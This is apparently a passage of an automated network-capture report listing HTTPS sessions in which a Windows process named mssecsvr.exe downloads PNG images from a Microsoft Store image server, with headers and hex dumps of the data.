2022-07-20 04:10:33 UTC	7268	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 04:09:33 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 55e2aff4-7e97-41da-a750-e9b8fee9d248 PPServer: PPV: 30 H: BL02PF62EDD27F6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 04:10:32 GMT Connection: close Content-Length: 10109
2022-07-20 04:10:33 UTC	7268	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	49736	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:52 UTC	189	OUT	GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-74f2065197d3?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:52 UTC	189	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 10694 Content-Type: image/png Last-Modified: Tue, 01 Feb 2022 21:30:36 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTYyODVDRjE" MS-CV: PAMnN/lHQEOUOWN/.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:52 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:52 UTC	190	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 29 5b 49 44 41 54 78 01 ed 7d 0d 90 5c 57 75 e6 b9 3d d3 23 8d 46 3f 63 fd 44 48 76 8c fc 53 20 4b 62 ad c2 25 cb 36 c6 9a 18 ab 48 c8 c6 56 81 c5 8f b7 b2 04 9c 2d 07 f2 c7 b2 6c 42 76 81 88 ec 6e 6a ab 52 21 b5 4b 6d a8 6c b1 05 ec 26 c1 65 b3 60 b4 1b e2 5d 17 68 a4 14 38 b6 a5 58 72 82 24 3b c2 92 65 21 59 d6 68 66 34 33 dd 33 d3 dd ef dd 9c 7b ef 39 e7 9e fb 66 44 10 71 cf b4 e4 77 ec 56 bf 7e 3f f7 dd f7 de f7 ce f9 ce cf bd 03 50 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 Data Ascii: PNGIHDR0pHYssRGBgAMAa)[IDATx}\Wu=#F?cDHvS Kb%6HV-lBvnjR!Kml&e`]h8Xr$;e!Yhf433{9fDqwV~?PJ)RJ)RJ)RJ)RJ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	49737	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:53 UTC	200	OUT	GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-e873039b6d86?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:53 UTC	201	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 9564 Content-Type: image/png Last-Modified: Fri, 19 Jun 2020 10:03:46 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MEU0RkE1MkY" MS-CV: PTXdXnhlC0uTORe3.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:53 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:53 UTC	202	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 25 23 49 44 41 54 78 da ed 9d 69 8c 64 d7 75 df ff e7 be 57 5b 6f d3 b3 72 c6 1c 8a 22 c1 55 8e 15 c6 14 25 21 89 21 29 92 62 38 40 12 04 d9 20 d8 81 13 01 71 e2 58 80 05 46 86 21 d1 0a 82 c4 0e 92 2f 8e 2c 41 66 90 0f 89 2c 89 4a 14 4b 96 22 20 a6 43 d9 a2 e4 c8 89 48 91 41 c4 25 e2 1a 72 46 5c c6 9a 95 bd cc f4 56 f7 e4 c3 bb ef bd fb 6e bd ad aa ab 87 54 d7 ff 07 16 fb d5 da 3d 55 fd 7e 7d ce b9 e7 de 0b 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 Data Ascii: PNGIHDR,,y}u%#IDATxiduW[or"U%!!)b8@ qXF!/,Af,JK" CHA%rF\VnT=U~}B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	49738	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:53 UTC	201	OUT	GET /image/apps.13224.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.9547b9f0-b1dc-4352-9dc9-7ea6f4eef5c3?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:53 UTC	211	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 38027 Content-Type: image/png Last-Modified: Thu, 23 Jun 2022 15:40:59 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE1NTJFQzUzODRFMTk" MS-CV: WiSzVqIwBkypSNwe.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:53 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:53 UTC	211	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 09 70 48 59 73 00 00 19 d6 00 00 19 d6 01 18 d1 ca ed 00 00 22 cf 49 44 41 54 78 9c ed dd 0b 94 65 55 79 27 f0 6f ef 73 ee ab aa ba 5e 5d ad a2 49 07 46 62 0c 36 08 02 ca 24 92 80 36 98 80 24 32 21 3e 22 10 15 75 81 e3 8c 9a f8 c0 47 c0 26 8c 31 3a 4e 20 ae b8 92 e0 8b 41 5d ea b0 d2 2b 06 70 40 88 13 34 c9 42 5e 36 20 0f 1d 17 da 04 18 e9 aa ee aa ba ef 7b cf d9 7b f6 f3 dc 73 bb 1b 11 53 d5 a7 f7 e9 ff af 2d aa ea d6 a3 cf 2d bb fe eb db df f9 ce 3e 31 01 00 04 22 2e fa 00 00 00 7e 56 08 2c 00 08 06 02 0b 00 82 81 c0 02 80 60 20 b0 00 20 18 08 2c 00 08 06 02 0b 00 82 81 c0 02 80 60 20 b0 00 20 18 08 2c 00 08 06 02 0b 00 82 81 c0 02 80 60 20 b0 00 Data Ascii: PNGIHDR,,y}upHYs"IDATxeUy'os^]IFb6$6$2!>"uG&1:N A]+p@4B^6 {{sS-->1".~V,` ,` ,`
2022-07-20 04:05:53 UTC	227	IN	Data Raw: 84 9b e7 94 12 5a e5 d8 a0 f4 30 86 2e 6b 7e 36 96 cd 78 8d ac 77 e6 b4 9d 49 d1 4c 6a 65 f6 4d 69 20 1a ae e8 31 c1 06 48 7b 4f 18 c5 32 25 5c 5c 86 a5 04 56 dc b2 4a 3a 2c c2 6b 69 a5 01 56 ec 72 97 e9 5c ba 78 05 41 b6 82 20 5b 59 81 b9 4b f3 b0 78 75 0a aa ea 79 bc ba 68 58 b3 e7 3f 91 04 29 e7 22 70 d5 f4 54 f5 a1 f3 0c 13 bc 91 09 a6 3a 83 a7 19 5c aa 2f 6d 3e 57 86 09 3b 5b 09 27 02 eb 00 a1 74 a0 ca 00 6b d8 1e 1f 86 ee f1 a2 ef 41 1f 86 ed 6b c2 d8 3d 35 4c 17 db d0 f3 70 10 3f 1d a8 c0 fa 9b d9 a6 f0 1e f6 09 7d 4a d7 da 81 e5 e2 e3 de c8 84 4f cd 17 73 21 9b c6 6e e2 e9 4a d3 8a b9 fb 49 07 58 8a 2e 74 59 a6 9e 15 81 96 52 c4 2e e7 da f0 ed 45 5d b2 e3 41 df d3 b9 b8 57 a3 22 3e 11 c5 8f df 01 96 f3 7f 6c f5 69 65 81 d5 21 d2 28 d1 12 54 dc 90 Data Ascii: Z0.k~6xwILjeMi 1H{O2%\\VJ:,kiVr\xA [YKxuyhX?)"pT:\/m>W;['tkAk=5Lp?}JOs!nJIX.tYR.E]AW">lie!(T
2022-07-20 04:05:53 UTC	235	IN	Data Raw: a8 47 dc aa 1a 2c 5b 5b 4e a7 95 4d c7 f5 16 cb d7 a6 e0 e9 3b c7 55 f9 98 d6 f9 54 33 12 b7 78 e8 3e 4f 80 c7 ac 8b 9b e9 6d 48 08 a7 c0 ee 61 66 e8 81 d7 e3 35 97 ff c8 4b 96 34 87 11 bb fd 25 26 6f 2e c0 e4 2d 25 98 b9 87 40 da 54 8b 71 84 d2 98 1d ad 18 b5 93 f7 77 d5 9b 18 ba b7 91 f0 6a 24 c8 5a 30 82 31 6a 77 03 bf a6 00 d3 b7 3d 36 97 f2 38 60 54 f0 33 8b 84 3a 64 f0 85 19 da ea 73 73 e0 65 f5 69 65 81 d5 51 12 27 fe 02 58 c9 11 60 1d 1b 5e 80 23 23 b3 70 bc 1d 58 84 d5 51 41 4b 35 2d 15 e0 09 2a 41 4b 4e eb 00 81 95 34 31 17 fb 27 67 60 ff a4 0c 1c a2 d3 4a 1a 55 82 3d a3 cb b1 6f 4a 11 76 4e 7e 85 1d f3 6e 20 37 db b9 3a 39 40 a7 a5 96 2b ce 01 b4 6f 9d c1 e6 d5 3c 25 8e 39 b5 61 71 bb 75 16 d1 c5 14 b1 81 41 20 70 e4 e7 a7 b7 60 db aa 14 ac a6 Data Ascii: G,[[NM;UT3x>OmHaf5K4%&o.-%@Tqwj$Z01jw=68`T3:dsseieQ'X`^##pXQAK5-*AKN41'g`JU=oJvN~n 7:9@+o<%9aquA p`

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	49739	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:53 UTC	248	OUT	GET /image/apps.10318.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8cf0ef1a-60ff-4508-85ab-fd3d7f02c6a3?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:53 UTC	249	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 13220 Content-Type: image/png Last-Modified: Fri, 03 Jun 2022 23:39:52 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE0NUJBNUI3MEJEODU" MS-CV: 5ChDa+Bo80itmz7R.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:53 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:53 UTC	249	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 31 2d 63 30 30 30 20 37 39 2e 39 63 63 63 34 64 65 39 33 2c 20 32 30 32 32 2f 30 33 2f 31 34 2d 31 34 3a 30 37 3a 32 Data Ascii: PNGIHDR,,y}utEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.9ccc4de93, 2022/03/14-14:07:2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	49740	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:53 UTC	262	OUT	GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-0d51ac792471?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:53 UTC	262	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 16935 Content-Type: image/png Last-Modified: Fri, 25 Jun 2021 08:37:45 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODFCQzYxOTE" MS-CV: 0jLeqAm/ckGHvdAs.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:53 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:53 UTC	263	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 41 d9 49 44 41 54 78 9c ed 7d 09 bc 1d 45 99 ef bf cf 7a f7 7b b3 dd ec 0b 09 d9 48 48 08 09 48 80 80 c8 8e 3a 88 30 22 3a 0a e8 f8 1c 06 15 f5 39 e3 73 1b 75 46 07 d7 d1 d1 19 77 87 a7 30 3a 8a 03 c8 22 b2 2f 49 d8 21 40 12 b2 ef eb cd 4d ee 7e cf bd 67 ed f7 55 55 57 77 75 77 75 9f ee 73 6f 80 f9 fd 5e c1 c9 3d a7 6b fb aa ea 5f df 56 4b a7 f0 89 df 6d 43 2a 3d 06 e5 32 60 18 a0 7f 80 84 c1 ff f0 df f2 03 c3 fd 9b 3f 4a 38 7f 65 7c c2 93 c6 97 4f 2d 53 96 a1 cb 2b e3 83 f2 26 14 3a 3c 79 e1 a1 41 f3 2c 61 91 c6 42 82 d3 af 24 85 28 8e ff b5 be 24 14 72 12 50 8b 36 ec e7 80 3b 0e 56 bc a1 Data Ascii: PNGIHDR0pHYsodAIDATx}Ez{HHH:0":9suFw0:"/I!@M~gUUWwuwuso^=k_VKmC*=2`?J8e\|O-S+&:<yA,aB$($rP6;V
2022-07-20 04:05:53 UTC	278	IN	Data Raw: 56 54 9d a7 6a 1e 54 37 c7 8f 8b 72 7b 3c ca 0f 52 98 ed a0 1b 35 6f a7 55 99 c5 3e a6 e5 be c7 f0 f5 0f 35 20 b1 2a a3 f2 26 70 5c 01 3e c3 23 4c 54 1d ef 0e 19 d5 f2 23 29 cc f2 8b d7 fe 0c e3 cb 4a 12 c9 dc 46 23 bc 51 3a 54 55 f7 85 da 07 01 7d f2 66 da 56 31 2a 21 e0 a2 03 f7 77 dd 88 c5 e0 7d aa b7 75 b4 94 d5 11 95 53 a3 0c 8c a3 30 7b c3 71 bf 74 e0 8d 08 56 a3 f4 db 41 bd dc c6 ab 44 57 09 de 31 f2 5d 16 55 bd 0c 57 ff 8e 86 de 63 97 11 13 7d a1 03 ed 2e 8b 27 55 1f e9 80 53 0d 34 ea 44 7b bd 01 a6 f3 53 05 27 d6 75 62 b5 a9 ae ef fc a0 ba dc cf a3 2d fc f8 ca f1 b9 10 c2 eb d4 07 13 f6 15 15 51 b1 a3 69 6a d0 1b 84 fd 34 33 e0 44 58 e4 54 1b e1 fd 7b bc 82 ae e3 62 d5 a9 03 4e a8 be 23 65 7c f8 e9 07 fb b7 a2 37 3a a1 86 83 57 86 55 66 80 67 21 Data Ascii: VTjT7r{<R5oU>5 &p\>#LT#)JF#Q:TU}fV1!w}uS0{qtVADW1]UWc}.'US4D{S'ub-Qij43DXT{bN#e\|7:WUfg!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49727	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:47 UTC	57	OUT	GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-59f575e79b05?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:47 UTC	58	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 1821 Content-Type: image/png Last-Modified: Thu, 31 Mar 2022 05:44:16 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0UzREU4ODQ" MS-CV: opsyL7UQw0OK0Svs.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:47 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:47 UTC	59	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 06 e4 49 44 41 54 78 01 ec d2 31 15 00 00 04 00 51 94 b3 08 a3 ff 24 83 fd ff 08 f7 2e 7b 27 be a0 24 c0 38 18 07 e3 60 1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 18 07 8c 83 71 30 0e c6 c1 38 60 1c 8c 83 71 30 0e c6 01 e3 60 1c 8c 83 71 30 0e 18 07 e3 60 1c 8c 83 71 c0 38 18 07 e3 60 1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 1c 7b 67 0d 25 49 72 04 d0 1f dd b3 bc 2b 66 26 47 cc cc 6c 09 3d b1 e4 8a d1 16 79 42 4b b6 ce 77 74 8e c8 12 93 75 cc cc cc 77 83 5d f1 f5 b6 df d4 7b 95 2f 7b 8e bb 7a 21 bf 53 d8 fc 37 22 2a a3 72 e7 94 66 8d 93 90 ff be f0 e7 4f 3a 72 ec c8 b7 c0 f7 31 c0 ae 63 21 5d 32 44 93 82 ce e1 41 e8 c9 04 4a b2 df 67 d2 63 Data Ascii: PNGIHDR0IDATx1Q$.{'$8`08q08q08`q0`q0`q8`08q08{g%Ir+f&Gl=yBKwtuw]{/{z!S7"*rfO:r1c!]2DAJgc

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	49742	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:54 UTC	279	OUT	GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-541bbb081d14?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:54 UTC	280	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 2629 Content-Type: image/png Last-Modified: Thu, 10 Jun 2021 02:49:24 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNUI1OEFDQ0E" MS-CV: uTeCNqL8s0mgIiPD.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:54 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:54 UTC	280	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 09 da 49 44 41 54 78 5e ed 9d 77 8c 15 55 14 87 31 31 46 45 b1 61 ef 46 25 96 d8 4d 6c d1 c4 58 13 6b 6c b1 46 13 4b 62 8b 2d 9a 18 35 d8 f5 0f 7b c1 86 95 a2 48 53 04 11 50 14 04 e9 ba 2b 9d 08 88 08 82 88 bb af d7 3d de df dd 1d 5d 37 b3 f0 f6 ec 7b f3 ee 1d 7e 27 f9 12 ca ee 7b 6f 66 be b9 f7 9c 5b e6 f5 d8 fb 83 84 10 d2 55 28 0e 51 41 71 88 0a 8a 43 54 50 1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 0a 8a 43 54 50 1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 Data Ascii: PNGIHDR0sRGBgAMAapHYsodIDATx^wU11FEaF%MlXklFKb-5{HSP+=]7{~'{of[U(QAqCTP8D!(QAqCTP8D!(QAq

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	49743	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:55 UTC	283	OUT	GET /image/apps.19460.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.304469a1-c8b6-4cdc-aa11-eaa96e2fdfd6?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:55 UTC	283	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 9623 Content-Type: image/png Last-Modified: Thu, 23 Jun 2022 15:41:01 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE1NTJFQzZERjk5NTc" MS-CV: zVjVB5uPz0aZ1aW/.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:55 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:55 UTC	284	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 09 70 48 59 73 00 00 19 d6 00 00 19 d6 01 18 d1 ca ed 00 00 13 56 49 44 41 54 78 9c ed 9d 0b 94 64 45 79 c7 bf aa ba b7 5f d3 33 3b cb cc be 58 e1 f0 38 26 8b ac 98 25 8b 08 64 89 c0 81 68 40 5e 41 11 5c 59 04 a2 1c 0f 09 1e 13 85 63 88 1b 14 25 06 cd 01 51 0f 1e 30 89 28 1c 93 48 10 08 18 24 60 08 22 20 0b 2c 08 e4 41 40 74 61 17 76 67 67 7a a6 df f7 51 95 ef ab aa db 3d 8b 31 c0 a5 1f de d9 fa ef e9 e9 db b7 7b ba ab ef fd cd ff fb aa ea bb b5 1e 38 39 a5 90 37 ec 06 38 65 53 0e 1c a7 54 72 e0 38 a5 92 03 c7 29 95 1c 38 4e a9 e4 c0 71 4a 25 07 8e 53 2a 39 70 9c 52 c9 81 e3 94 4a 0e 1c a7 54 72 e0 38 a5 92 03 c7 29 95 1c 38 4e a9 e4 c0 71 4a 25 07 Data Ascii: PNGIHDR0pHYsVIDATxdEy_3;X8&%dh@^A\Yc%Q0(H$`" ,A@tavggzQ=1{8978eSTr8)8NqJ%S*9pRJTr8)8NqJ%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	49745	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:56 UTC	293	OUT	GET /image/apps.23070.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8e7acf32-4622-490b-b63f-0ba9c0d9a24e?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:56 UTC	293	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Type: image/png Last-Modified: Fri, 03 Jun 2022 23:39:57 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE0NUJBNUUxQzE0ODQ" MS-CV: khPkmUs4nEe0OA80.0 Access-Control-Expose-Headers: MS-CV Content-Length: 8562 Date: Wed, 20 Jul 2022 04:05:56 GMT Connection: close Access-Control-Allow-Origin: *
